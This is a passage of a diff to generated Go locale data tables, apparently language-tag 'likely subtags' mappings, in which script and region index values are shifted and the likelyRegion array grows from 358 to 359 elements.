0x7c, script: 0x3c, flags: 0x4}, + 81: {region: 0x7f, script: 0x3c, flags: 0x4}, + 82: {region: 0x8e, script: 0x3c, flags: 0x4}, + 83: {region: 0x96, script: 0x3c, flags: 0x4}, + 84: {region: 0xc7, script: 0x3c, flags: 0x4}, + 85: {region: 0xd1, script: 0x3c, flags: 0x4}, + 86: {region: 0xe3, script: 0x3c, flags: 0x4}, + 87: {region: 0xe6, script: 0x3c, flags: 0x4}, + 88: {region: 0xe8, script: 0x3c, flags: 0x4}, + 89: {region: 0x117, script: 0x3c, flags: 0x4}, + 90: {region: 0x124, script: 0x3c, flags: 0x4}, + 91: {region: 0x12f, script: 0x3c, flags: 0x4}, + 92: {region: 0x136, script: 0x3c, flags: 0x4}, + 93: {region: 0x13f, script: 0x3c, flags: 0x4}, + 94: {region: 0x12f, script: 0x11, flags: 0x2}, + 95: {region: 0x12f, script: 0x37, flags: 0x2}, + 96: {region: 0x12f, script: 0x3c, flags: 0x2}, } type likelyLangScript struct { @@ -2987,306 +3009,306 @@ type likelyLangScript struct { // for a given regionID, lang and script are the index and size respectively // of the list in likelyRegionList. // TODO: exclude containers and user-definable regions from the list. -// Size: 2148 bytes, 358 elements -var likelyRegion = [358]likelyLangScript{ - 34: {lang: 0xd7, script: 0x5a, flags: 0x0}, +// Size: 2154 bytes, 359 elements +var likelyRegion = [359]likelyLangScript{ + 34: {lang: 0xd7, script: 0x5b, flags: 0x0}, 35: {lang: 0x3a, script: 0x5, flags: 0x0}, 36: {lang: 0x0, script: 0x2, flags: 0x1}, 39: {lang: 0x2, script: 0x2, flags: 0x1}, 40: {lang: 0x4, script: 0x2, flags: 0x1}, - 42: {lang: 0x3c0, script: 0x5a, flags: 0x0}, - 43: {lang: 0x0, script: 0x5a, flags: 0x0}, - 44: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 45: {lang: 0x41b, script: 0x5a, flags: 0x0}, - 46: {lang: 0x10d, script: 0x5a, flags: 0x0}, - 48: {lang: 0x367, script: 0x5a, flags: 0x0}, - 49: {lang: 0x444, script: 0x5a, flags: 0x0}, - 50: {lang: 0x58, script: 0x5a, flags: 0x0}, + 42: {lang: 0x3c0, script: 0x5b, flags: 0x0}, + 43: {lang: 0x0, script: 0x5b, flags: 0x0}, + 44: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 45: {lang: 0x41b, script: 0x5b, flags: 0x0}, + 46: {lang: 0x10d, script: 0x5b, flags: 0x0}, + 48: {lang: 0x367, script: 0x5b, flags: 0x0}, + 49: {lang: 0x444, script: 0x5b, flags: 0x0}, + 50: {lang: 0x58, script: 0x5b, flags: 0x0}, 51: {lang: 0x6, script: 0x2, flags: 0x1}, 53: {lang: 0xa5, script: 0xe, flags: 0x0}, - 54: {lang: 0x367, script: 0x5a, flags: 0x0}, - 55: {lang: 0x15e, script: 0x5a, flags: 0x0}, + 54: {lang: 0x367, script: 0x5b, flags: 0x0}, + 55: {lang: 0x15e, script: 0x5b, flags: 0x0}, 56: {lang: 0x7e, script: 0x20, flags: 0x0}, 57: {lang: 0x3a, script: 0x5, flags: 0x0}, - 58: {lang: 0x3d9, script: 0x5a, flags: 0x0}, - 59: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 60: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 62: {lang: 0x31f, script: 0x5a, flags: 0x0}, - 63: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 64: {lang: 0x3a1, script: 0x5a, flags: 0x0}, - 65: {lang: 0x3c0, script: 0x5a, flags: 0x0}, + 58: {lang: 0x3d9, script: 0x5b, flags: 0x0}, + 59: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 60: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 62: {lang: 0x31f, script: 0x5b, flags: 0x0}, + 63: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 64: {lang: 0x3a1, script: 0x5b, flags: 0x0}, + 65: {lang: 0x3c0, script: 0x5b, flags: 0x0}, 67: {lang: 0x8, script: 0x2, flags: 0x1}, - 69: {lang: 0x0, script: 0x5a, flags: 0x0}, + 69: {lang: 0x0, script: 0x5b, flags: 0x0}, 71: {lang: 0x71, script: 0x20, flags: 0x0}, 73: {lang: 0x512, script: 0x3e, flags: 0x2}, 74: {lang: 0x31f, script: 0x5, flags: 0x2}, - 75: {lang: 0x445, script: 0x5a, flags: 0x0}, - 76: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 77: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 78: {lang: 0x10d, script: 0x5a, flags: 0x0}, - 79: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 81: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 82: {lang: 0x15e, script: 0x5a, flags: 0x0}, + 75: {lang: 0x445, script: 0x5b, flags: 0x0}, + 76: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 77: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 78: {lang: 0x10d, script: 0x5b, flags: 0x0}, + 79: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 81: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 82: {lang: 0x15e, script: 0x5b, flags: 0x0}, 83: {lang: 0xa, script: 0x4, flags: 0x1}, - 84: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 85: {lang: 0x0, script: 0x5a, flags: 0x0}, - 86: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 89: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 90: {lang: 0x3c0, script: 0x5a, flags: 0x0}, - 91: {lang: 0x3a1, script: 0x5a, flags: 0x0}, - 93: {lang: 0xe, script: 0x2, flags: 0x1}, - 94: {lang: 0xfa, script: 0x5a, flags: 0x0}, - 96: {lang: 0x10d, script: 0x5a, flags: 0x0}, - 98: {lang: 0x1, script: 0x5a, flags: 0x0}, - 99: {lang: 0x101, script: 0x5a, flags: 0x0}, - 101: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 103: {lang: 0x10, script: 0x2, flags: 0x1}, - 104: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 105: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 106: {lang: 0x140, script: 0x5a, flags: 0x0}, - 107: {lang: 0x3a, script: 0x5, flags: 0x0}, + 84: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 85: {lang: 0x0, script: 0x5b, flags: 0x0}, + 87: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 90: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 91: {lang: 0x3c0, script: 0x5b, flags: 0x0}, + 92: {lang: 0x3a1, script: 0x5b, flags: 0x0}, + 94: {lang: 0xe, script: 0x2, flags: 0x1}, + 95: {lang: 0xfa, script: 0x5b, flags: 0x0}, + 97: {lang: 0x10d, script: 0x5b, flags: 0x0}, + 99: {lang: 0x1, script: 0x5b, flags: 0x0}, + 100: {lang: 0x101, script: 0x5b, flags: 0x0}, + 102: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 104: {lang: 0x10, script: 0x2, flags: 0x1}, + 105: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 106: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 107: {lang: 0x140, script: 0x5b, flags: 0x0}, 108: {lang: 0x3a, script: 0x5, flags: 0x0}, - 109: {lang: 0x46f, script: 0x2c, flags: 0x0}, - 110: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 111: {lang: 0x12, script: 0x2, flags: 0x1}, - 113: {lang: 0x10d, script: 0x5a, flags: 0x0}, - 114: {lang: 0x151, script: 0x5a, flags: 0x0}, - 115: {lang: 0x1c0, script: 0x22, flags: 0x2}, - 118: {lang: 0x158, script: 0x5a, flags: 0x0}, - 120: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 122: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 123: {lang: 0x14, script: 0x2, flags: 0x1}, - 125: {lang: 0x16, script: 0x3, flags: 0x1}, - 126: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 128: {lang: 0x21, script: 0x5a, flags: 0x0}, - 130: {lang: 0x245, script: 0x5a, flags: 0x0}, - 132: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 133: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 134: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 135: {lang: 0x19, script: 0x2, flags: 0x1}, - 136: {lang: 0x0, script: 0x5a, flags: 0x0}, - 137: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 139: {lang: 0x3c0, script: 0x5a, flags: 0x0}, - 141: {lang: 0x529, script: 0x3c, flags: 0x0}, - 142: {lang: 0x0, script: 0x5a, flags: 0x0}, - 143: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 144: {lang: 0x1d1, script: 0x5a, flags: 0x0}, - 145: {lang: 0x1d4, script: 0x5a, flags: 0x0}, - 146: {lang: 0x1d5, script: 0x5a, flags: 0x0}, - 148: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 149: {lang: 0x1b, script: 0x2, flags: 0x1}, - 151: {lang: 0x1bc, script: 0x3e, flags: 0x0}, - 153: {lang: 0x1d, script: 0x3, flags: 0x1}, - 155: {lang: 0x3a, script: 0x5, flags: 0x0}, - 156: {lang: 0x20, script: 0x2, flags: 0x1}, - 157: {lang: 0x1f8, script: 0x5a, flags: 0x0}, - 158: {lang: 0x1f9, script: 0x5a, flags: 0x0}, - 161: {lang: 0x3a, script: 0x5, flags: 0x0}, - 162: {lang: 0x200, script: 0x49, flags: 0x0}, - 164: {lang: 0x445, script: 0x5a, flags: 0x0}, - 165: {lang: 0x28a, script: 0x20, flags: 0x0}, - 166: {lang: 0x22, script: 0x3, flags: 0x1}, - 168: {lang: 0x25, script: 0x2, flags: 0x1}, - 170: {lang: 0x254, script: 0x53, flags: 0x0}, - 171: {lang: 0x254, script: 0x53, flags: 0x0}, - 172: {lang: 0x3a, script: 0x5, flags: 0x0}, - 174: {lang: 0x3e2, script: 0x20, flags: 0x0}, - 175: {lang: 0x27, script: 0x2, flags: 0x1}, - 176: {lang: 0x3a, script: 0x5, flags: 0x0}, - 178: {lang: 0x10d, script: 0x5a, flags: 0x0}, - 179: {lang: 0x40c, script: 0xd4, flags: 0x0}, - 181: {lang: 0x43b, script: 0x5a, flags: 0x0}, - 182: {lang: 0x2c0, script: 0x5a, flags: 0x0}, - 183: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 184: {lang: 0x2c7, script: 0x5a, flags: 0x0}, - 185: {lang: 0x3a, script: 0x5, flags: 0x0}, - 186: {lang: 0x29, script: 0x2, flags: 0x1}, - 187: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 188: {lang: 0x2b, script: 0x2, flags: 0x1}, - 189: {lang: 0x432, script: 0x5a, flags: 0x0}, - 190: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 191: {lang: 0x2f1, script: 0x5a, flags: 0x0}, - 194: {lang: 0x2d, script: 0x2, flags: 0x1}, - 195: {lang: 0xa0, script: 0x5a, flags: 0x0}, - 196: {lang: 0x2f, script: 0x2, flags: 0x1}, - 197: {lang: 0x31, script: 0x2, flags: 0x1}, - 198: {lang: 0x33, script: 0x2, flags: 0x1}, - 200: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 201: {lang: 0x35, script: 0x2, flags: 0x1}, - 203: {lang: 0x320, script: 0x5a, flags: 0x0}, - 204: {lang: 0x37, script: 0x3, flags: 0x1}, - 205: {lang: 0x128, script: 0xea, flags: 0x0}, - 207: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 208: {lang: 0x31f, script: 0x5a, flags: 0x0}, - 209: {lang: 0x3c0, script: 0x5a, flags: 0x0}, - 210: {lang: 0x16, script: 0x5a, flags: 0x0}, - 211: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 212: {lang: 0x1b4, script: 0x5a, flags: 0x0}, - 214: {lang: 0x1b4, script: 0x5, flags: 0x2}, - 216: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 217: {lang: 0x367, script: 0x5a, flags: 0x0}, - 218: {lang: 0x347, script: 0x5a, flags: 0x0}, - 219: {lang: 0x351, script: 0x22, flags: 0x0}, - 225: {lang: 0x3a, script: 0x5, flags: 0x0}, - 226: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 228: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 229: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 230: {lang: 0x486, script: 0x5a, flags: 0x0}, - 231: {lang: 0x153, script: 0x5a, flags: 0x0}, - 232: {lang: 0x3a, script: 0x3, flags: 0x1}, - 233: {lang: 0x3b3, script: 0x5a, flags: 0x0}, - 234: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 236: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 237: {lang: 0x3a, script: 0x5, flags: 0x0}, - 238: {lang: 0x3c0, script: 0x5a, flags: 0x0}, - 240: {lang: 0x3a2, script: 0x5a, flags: 0x0}, - 241: {lang: 0x194, script: 0x5a, flags: 0x0}, - 243: {lang: 0x3a, script: 0x5, flags: 0x0}, - 258: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 260: {lang: 0x3d, script: 0x2, flags: 0x1}, - 261: {lang: 0x432, script: 0x20, flags: 0x0}, - 262: {lang: 0x3f, script: 0x2, flags: 0x1}, - 263: {lang: 0x3e5, script: 0x5a, flags: 0x0}, - 264: {lang: 0x3a, script: 0x5, flags: 0x0}, - 266: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 267: {lang: 0x3a, script: 0x5, flags: 0x0}, - 268: {lang: 0x41, script: 0x2, flags: 0x1}, - 271: {lang: 0x416, script: 0x5a, flags: 0x0}, - 272: {lang: 0x347, script: 0x5a, flags: 0x0}, - 273: {lang: 0x43, script: 0x2, flags: 0x1}, - 275: {lang: 0x1f9, script: 0x5a, flags: 0x0}, - 276: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 277: {lang: 0x429, script: 0x5a, flags: 0x0}, - 278: {lang: 0x367, script: 0x5a, flags: 0x0}, - 280: {lang: 0x3c0, script: 0x5a, flags: 0x0}, - 282: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 284: {lang: 0x45, script: 0x2, flags: 0x1}, - 288: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 289: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 290: {lang: 0x47, script: 0x2, flags: 0x1}, - 291: {lang: 0x49, script: 0x3, flags: 0x1}, - 292: {lang: 0x4c, script: 0x2, flags: 0x1}, - 293: {lang: 0x477, script: 0x5a, flags: 0x0}, - 294: {lang: 0x3c0, script: 0x5a, flags: 0x0}, - 295: {lang: 0x476, script: 0x5a, flags: 0x0}, - 296: {lang: 0x4e, script: 0x2, flags: 0x1}, - 297: {lang: 0x482, script: 0x5a, flags: 0x0}, - 299: {lang: 0x50, script: 0x4, flags: 0x1}, - 301: {lang: 0x4a0, script: 0x5a, flags: 0x0}, - 302: {lang: 0x54, script: 0x2, flags: 0x1}, - 303: {lang: 0x445, script: 0x5a, flags: 0x0}, - 304: {lang: 0x56, script: 0x3, flags: 0x1}, - 305: {lang: 0x445, script: 0x5a, flags: 0x0}, - 309: {lang: 0x512, script: 0x3e, flags: 0x2}, - 310: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 311: {lang: 0x4bc, script: 0x5a, flags: 0x0}, - 312: {lang: 0x1f9, script: 0x5a, flags: 0x0}, - 315: {lang: 0x13e, script: 0x5a, flags: 0x0}, - 318: {lang: 0x4c3, script: 0x5a, flags: 0x0}, - 319: {lang: 0x8a, script: 0x5a, flags: 0x0}, - 320: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 322: {lang: 0x41b, script: 0x5a, flags: 0x0}, - 333: {lang: 0x59, script: 0x2, flags: 0x1}, - 350: {lang: 0x3a, script: 0x5, flags: 0x0}, - 351: {lang: 0x5b, script: 0x2, flags: 0x1}, - 356: {lang: 0x423, script: 0x5a, flags: 0x0}, + 109: {lang: 0x3a, script: 0x5, flags: 0x0}, + 110: {lang: 0x46f, script: 0x2c, flags: 0x0}, + 111: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 112: {lang: 0x12, script: 0x2, flags: 0x1}, + 114: {lang: 0x10d, script: 0x5b, flags: 0x0}, + 115: {lang: 0x151, script: 0x5b, flags: 0x0}, + 116: {lang: 0x1c0, script: 0x22, flags: 0x2}, + 119: {lang: 0x158, script: 0x5b, flags: 0x0}, + 121: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 123: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 124: {lang: 0x14, script: 0x2, flags: 0x1}, + 126: {lang: 0x16, script: 0x3, flags: 0x1}, + 127: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 129: {lang: 0x21, script: 0x5b, flags: 0x0}, + 131: {lang: 0x245, script: 0x5b, flags: 0x0}, + 133: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 134: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 135: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 136: {lang: 0x19, script: 0x2, flags: 0x1}, + 137: {lang: 0x0, script: 0x5b, flags: 0x0}, + 138: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 140: {lang: 0x3c0, script: 0x5b, flags: 0x0}, + 142: {lang: 0x529, script: 0x3c, flags: 0x0}, + 143: {lang: 0x0, script: 0x5b, flags: 0x0}, + 144: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 145: {lang: 0x1d1, script: 0x5b, flags: 0x0}, + 146: {lang: 0x1d4, script: 0x5b, flags: 0x0}, + 147: {lang: 0x1d5, script: 0x5b, flags: 0x0}, + 149: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 150: {lang: 0x1b, script: 0x2, flags: 0x1}, + 152: {lang: 0x1bc, script: 0x3e, flags: 0x0}, + 154: {lang: 0x1d, script: 0x3, flags: 0x1}, + 156: {lang: 0x3a, script: 0x5, flags: 0x0}, + 157: {lang: 0x20, script: 0x2, flags: 0x1}, + 158: {lang: 0x1f8, script: 0x5b, flags: 0x0}, + 159: {lang: 0x1f9, script: 0x5b, flags: 0x0}, + 162: {lang: 0x3a, script: 0x5, flags: 0x0}, + 163: {lang: 0x200, script: 0x49, flags: 0x0}, + 165: {lang: 0x445, script: 0x5b, flags: 0x0}, + 166: {lang: 0x28a, script: 0x20, flags: 0x0}, + 167: {lang: 0x22, script: 0x3, flags: 0x1}, + 169: {lang: 0x25, script: 0x2, flags: 0x1}, + 171: {lang: 0x254, script: 0x54, flags: 0x0}, + 172: {lang: 0x254, script: 0x54, flags: 0x0}, + 173: {lang: 0x3a, script: 0x5, flags: 0x0}, + 175: {lang: 0x3e2, script: 0x20, flags: 0x0}, + 176: {lang: 0x27, script: 0x2, flags: 0x1}, + 177: {lang: 0x3a, script: 0x5, flags: 0x0}, + 179: {lang: 0x10d, script: 0x5b, flags: 0x0}, + 180: {lang: 0x40c, script: 0xd6, flags: 0x0}, + 182: {lang: 0x43b, script: 0x5b, flags: 0x0}, + 183: {lang: 0x2c0, script: 0x5b, flags: 0x0}, + 184: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 185: {lang: 0x2c7, script: 0x5b, flags: 0x0}, + 186: {lang: 0x3a, script: 0x5, flags: 0x0}, + 187: {lang: 0x29, script: 0x2, flags: 0x1}, + 188: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 189: {lang: 0x2b, script: 0x2, flags: 0x1}, + 190: {lang: 0x432, script: 0x5b, flags: 0x0}, + 191: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 192: {lang: 0x2f1, script: 0x5b, flags: 0x0}, + 195: {lang: 0x2d, script: 0x2, flags: 0x1}, + 196: {lang: 0xa0, script: 0x5b, flags: 0x0}, + 197: {lang: 0x2f, script: 0x2, flags: 0x1}, + 198: {lang: 0x31, script: 0x2, flags: 0x1}, + 199: {lang: 0x33, script: 0x2, flags: 0x1}, + 201: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 202: {lang: 0x35, script: 0x2, flags: 0x1}, + 204: {lang: 0x320, script: 0x5b, flags: 0x0}, + 205: {lang: 0x37, script: 0x3, flags: 0x1}, + 206: {lang: 0x128, script: 0xed, flags: 0x0}, + 208: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 209: {lang: 0x31f, script: 0x5b, flags: 0x0}, + 210: {lang: 0x3c0, script: 0x5b, flags: 0x0}, + 211: {lang: 0x16, script: 0x5b, flags: 0x0}, + 212: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 213: {lang: 0x1b4, script: 0x5b, flags: 0x0}, + 215: {lang: 0x1b4, script: 0x5, flags: 0x2}, + 217: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 218: {lang: 0x367, script: 0x5b, flags: 0x0}, + 219: {lang: 0x347, script: 0x5b, flags: 0x0}, + 220: {lang: 0x351, script: 0x22, flags: 0x0}, + 226: {lang: 0x3a, script: 0x5, flags: 0x0}, + 227: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 229: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 230: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 231: {lang: 0x486, script: 0x5b, flags: 0x0}, + 232: {lang: 0x153, script: 0x5b, flags: 0x0}, + 233: {lang: 0x3a, script: 0x3, flags: 0x1}, + 234: {lang: 0x3b3, script: 0x5b, flags: 0x0}, + 235: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 237: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 238: {lang: 0x3a, script: 0x5, flags: 0x0}, + 239: {lang: 0x3c0, script: 0x5b, flags: 0x0}, + 241: {lang: 0x3a2, script: 0x5b, flags: 0x0}, + 242: {lang: 0x194, script: 0x5b, flags: 0x0}, + 244: {lang: 0x3a, script: 0x5, flags: 0x0}, + 259: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 261: {lang: 0x3d, script: 0x2, flags: 0x1}, + 262: {lang: 0x432, script: 0x20, flags: 0x0}, + 263: {lang: 0x3f, script: 0x2, flags: 0x1}, + 264: {lang: 0x3e5, script: 0x5b, flags: 0x0}, + 265: {lang: 0x3a, script: 0x5, flags: 0x0}, + 267: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 268: {lang: 0x3a, script: 0x5, flags: 0x0}, + 269: {lang: 0x41, script: 0x2, flags: 0x1}, + 272: {lang: 0x416, script: 0x5b, flags: 0x0}, + 273: {lang: 0x347, script: 0x5b, flags: 0x0}, + 274: {lang: 0x43, script: 0x2, flags: 0x1}, + 276: {lang: 0x1f9, script: 0x5b, flags: 0x0}, + 277: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 278: {lang: 0x429, script: 0x5b, flags: 0x0}, + 279: {lang: 0x367, script: 0x5b, flags: 0x0}, + 281: {lang: 0x3c0, script: 0x5b, flags: 0x0}, + 283: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 285: {lang: 0x45, script: 0x2, flags: 0x1}, + 289: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 290: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 291: {lang: 0x47, script: 0x2, flags: 0x1}, + 292: {lang: 0x49, script: 0x3, flags: 0x1}, + 293: {lang: 0x4c, script: 0x2, flags: 0x1}, + 294: {lang: 0x477, script: 0x5b, flags: 0x0}, + 295: {lang: 0x3c0, script: 0x5b, flags: 0x0}, + 296: {lang: 0x476, script: 0x5b, flags: 0x0}, + 297: {lang: 0x4e, script: 0x2, flags: 0x1}, + 298: {lang: 0x482, script: 0x5b, flags: 0x0}, + 300: {lang: 0x50, script: 0x4, flags: 0x1}, + 302: {lang: 0x4a0, script: 0x5b, flags: 0x0}, + 303: {lang: 0x54, script: 0x2, flags: 0x1}, + 304: {lang: 0x445, script: 0x5b, flags: 0x0}, + 305: {lang: 0x56, script: 0x3, flags: 0x1}, + 306: {lang: 0x445, script: 0x5b, flags: 0x0}, + 310: {lang: 0x512, script: 0x3e, flags: 0x2}, + 311: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 312: {lang: 0x4bc, script: 0x5b, flags: 0x0}, + 313: {lang: 0x1f9, script: 0x5b, flags: 0x0}, + 316: {lang: 0x13e, script: 0x5b, flags: 0x0}, + 319: {lang: 0x4c3, script: 0x5b, flags: 0x0}, + 320: {lang: 0x8a, script: 0x5b, flags: 0x0}, + 321: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 323: {lang: 0x41b, script: 0x5b, flags: 0x0}, + 334: {lang: 0x59, script: 0x2, flags: 0x1}, + 351: {lang: 0x3a, script: 0x5, flags: 0x0}, + 352: {lang: 0x5b, script: 0x2, flags: 0x1}, + 357: {lang: 0x423, script: 0x5b, flags: 0x0}, } // likelyRegionList holds lists info associated with likelyRegion. // Size: 558 bytes, 93 elements var likelyRegionList = [93]likelyLangScript{ 0: {lang: 0x148, script: 0x5, flags: 0x0}, - 1: {lang: 0x476, script: 0x5a, flags: 0x0}, - 2: {lang: 0x431, script: 0x5a, flags: 0x0}, + 1: {lang: 0x476, script: 0x5b, flags: 0x0}, + 2: {lang: 0x431, script: 0x5b, flags: 0x0}, 3: {lang: 0x2ff, script: 0x20, flags: 0x0}, 4: {lang: 0x1d7, script: 0x8, flags: 0x0}, - 5: {lang: 0x274, script: 0x5a, flags: 0x0}, - 6: {lang: 0xb7, script: 0x5a, flags: 0x0}, + 5: {lang: 0x274, script: 0x5b, flags: 0x0}, + 6: {lang: 0xb7, script: 0x5b, flags: 0x0}, 7: {lang: 0x432, script: 0x20, flags: 0x0}, - 8: {lang: 0x12d, script: 0xec, flags: 0x0}, + 8: {lang: 0x12d, script: 0xef, flags: 0x0}, 9: {lang: 0x351, script: 0x22, flags: 0x0}, 10: {lang: 0x529, script: 0x3b, flags: 0x0}, 11: {lang: 0x4ac, script: 0x5, flags: 0x0}, - 12: {lang: 0x523, script: 0x5a, flags: 0x0}, - 13: {lang: 0x29a, script: 0xeb, flags: 0x0}, + 12: {lang: 0x523, script: 0x5b, flags: 0x0}, + 13: {lang: 0x29a, script: 0xee, flags: 0x0}, 14: {lang: 0x136, script: 0x34, flags: 0x0}, - 15: {lang: 0x48a, script: 0x5a, flags: 0x0}, + 15: {lang: 0x48a, script: 0x5b, flags: 0x0}, 16: {lang: 0x3a, script: 0x5, flags: 0x0}, - 17: {lang: 0x15e, script: 0x5a, flags: 0x0}, + 17: {lang: 0x15e, script: 0x5b, flags: 0x0}, 18: {lang: 0x27, script: 0x2c, flags: 0x0}, - 19: {lang: 0x139, script: 0x5a, flags: 0x0}, + 19: {lang: 0x139, script: 0x5b, flags: 0x0}, 20: {lang: 0x26a, script: 0x5, flags: 0x2}, 21: {lang: 0x512, script: 0x3e, flags: 0x2}, 22: {lang: 0x210, script: 0x2e, flags: 0x0}, 23: {lang: 0x5, script: 0x20, flags: 0x0}, - 24: {lang: 0x274, script: 0x5a, flags: 0x0}, + 24: {lang: 0x274, script: 0x5b, flags: 0x0}, 25: {lang: 0x136, script: 0x34, flags: 0x0}, 26: {lang: 0x2ff, script: 0x20, flags: 0x0}, - 27: {lang: 0x1e1, script: 0x5a, flags: 0x0}, + 27: {lang: 0x1e1, script: 0x5b, flags: 0x0}, 28: {lang: 0x31f, script: 0x5, flags: 0x0}, 29: {lang: 0x1be, script: 0x22, flags: 0x0}, 30: {lang: 0x4b4, script: 0x5, flags: 0x0}, - 31: {lang: 0x236, script: 0x75, flags: 0x0}, + 31: {lang: 0x236, script: 0x76, flags: 0x0}, 32: {lang: 0x148, script: 0x5, flags: 0x0}, - 33: {lang: 0x476, script: 0x5a, flags: 0x0}, - 34: {lang: 0x24a, script: 0x4e, flags: 0x0}, + 33: {lang: 0x476, script: 0x5b, flags: 0x0}, + 34: {lang: 0x24a, script: 0x4f, flags: 0x0}, 35: {lang: 0xe6, script: 0x5, flags: 0x0}, - 36: {lang: 0x226, script: 0xeb, flags: 0x0}, + 36: {lang: 0x226, script: 0xee, flags: 0x0}, 37: {lang: 0x3a, script: 0x5, flags: 0x0}, - 38: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 39: {lang: 0x2b8, script: 0x57, flags: 0x0}, - 40: {lang: 0x226, script: 0xeb, flags: 0x0}, + 38: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 39: {lang: 0x2b8, script: 0x58, flags: 0x0}, + 40: {lang: 0x226, script: 0xee, flags: 0x0}, 41: {lang: 0x3a, script: 0x5, flags: 0x0}, - 42: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 43: {lang: 0x3dc, script: 0x5a, flags: 0x0}, + 42: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 43: {lang: 0x3dc, script: 0x5b, flags: 0x0}, 44: {lang: 0x4ae, script: 0x20, flags: 0x0}, 45: {lang: 0x2ff, script: 0x20, flags: 0x0}, - 46: {lang: 0x431, script: 0x5a, flags: 0x0}, - 47: {lang: 0x331, script: 0x75, flags: 0x0}, - 48: {lang: 0x213, script: 0x5a, flags: 0x0}, + 46: {lang: 0x431, script: 0x5b, flags: 0x0}, + 47: {lang: 0x331, script: 0x76, flags: 0x0}, + 48: {lang: 0x213, script: 0x5b, flags: 0x0}, 49: {lang: 0x30b, script: 0x20, flags: 0x0}, 50: {lang: 0x242, script: 0x5, flags: 0x0}, 51: {lang: 0x529, script: 0x3c, flags: 0x0}, - 52: {lang: 0x3c0, script: 0x5a, flags: 0x0}, + 52: {lang: 0x3c0, script: 0x5b, flags: 0x0}, 53: {lang: 0x3a, script: 0x5, flags: 0x0}, - 54: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 55: {lang: 0x2ed, script: 0x5a, flags: 0x0}, + 54: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 55: 